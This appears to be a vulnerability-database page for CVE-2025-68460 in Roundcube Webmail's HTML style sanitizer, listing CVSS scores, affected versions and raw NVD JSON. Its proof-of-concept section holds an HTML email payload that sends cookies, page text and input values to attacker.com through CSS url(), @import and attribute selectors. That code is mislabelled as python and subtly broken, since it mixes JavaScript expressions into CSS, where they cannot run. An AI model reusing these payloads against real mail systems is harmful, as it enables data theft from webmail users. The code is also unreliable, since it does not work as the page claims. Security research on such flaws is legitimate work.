Security Vulnerability Report
中文
CVE-2025-68460 CVSS 7.2 HIGH

CVE-2025-68460

Published: 2025-12-18 05:15:53
Last Modified: 2026-01-02 16:25:44

Description

Roundcube Webmail before 1.5.12 and 1.6 before 1.6.12 is prone to a information disclosure vulnerability in the HTML style sanitizer.

CVSS Details

CVSS Score
7.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:roundcube:webmail:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:roundcube:webmail:*:*:*:*:*:*:*:* - VULNERABLE
Roundcube Webmail < 1.5.12
Roundcube Webmail 1.6.x < 1.6.12

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-68460 PoC: CSS Injection in Roundcube Webmail --> <html> <body> <h1>CVE-2025-68460 Roundcube CSS Injection PoC</h1> <p>This PoC demonstrates CSS injection via HTML email in Roundcube Webmail.</p> <p>When rendered in Roundcube, the following style will attempt to load an image from an attacker-controlled server, potentially exfiltrating sensitive data.</p> <!-- CSS Injection payload --> <div style="background-image: url('http://attacker.com/steal?data=' + document.cookie);"> <p>Malicious content</p> </div> <!-- Alternative payload using @import --> <style> @import 'http://attacker.com/steal?css=1'; body { background-image: url('http://attacker.com/exfil?data=' + encodeURIComponent(document.body.innerText)); } </style> <!-- More sophisticated exfiltration using CSS selectors --> <style> input[value^="a"]{background-image: url("http://attacker.com/a");} input[value^="b"]{background-image: url("http://attacker.com/b");} /* ... more selectors for data exfiltration ... */ </style> <p>Note: This is for educational and testing purposes only.</p> </body> </html>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-68460", "sourceIdentifier": "[email protected]", "published": "2025-12-18T05:15:52.737", "lastModified": "2026-01-02T16:25:43.823", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Roundcube Webmail before 1.5.12 and 1.6 before 1.6.12 is prone to a information disclosure vulnerability in the HTML style sanitizer."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.7}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-116"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:roundcube:webmail:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.5.12", "matchCriteriaId": "72BDB5DF-B892-4EB7-B953-BCF6571CFE33"}, {"vulnerable": true, "criteria": "cpe:2.3:a:roundcube:webmail:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.6.0", "versionEndExcluding": "1.6.12", "matchCriteriaId": "2E7809A5-BC6E-47F6-8175-261C417A1648"}]}]}], "references": [{"url": "https://github.com/roundcube/roundcubemail/commit/08de250fba731b634bed188bbe18d2f6ef3c7571", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://roundcube.net/news/2025/12/13/security-updates-1.6.12-and-1.5.12", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}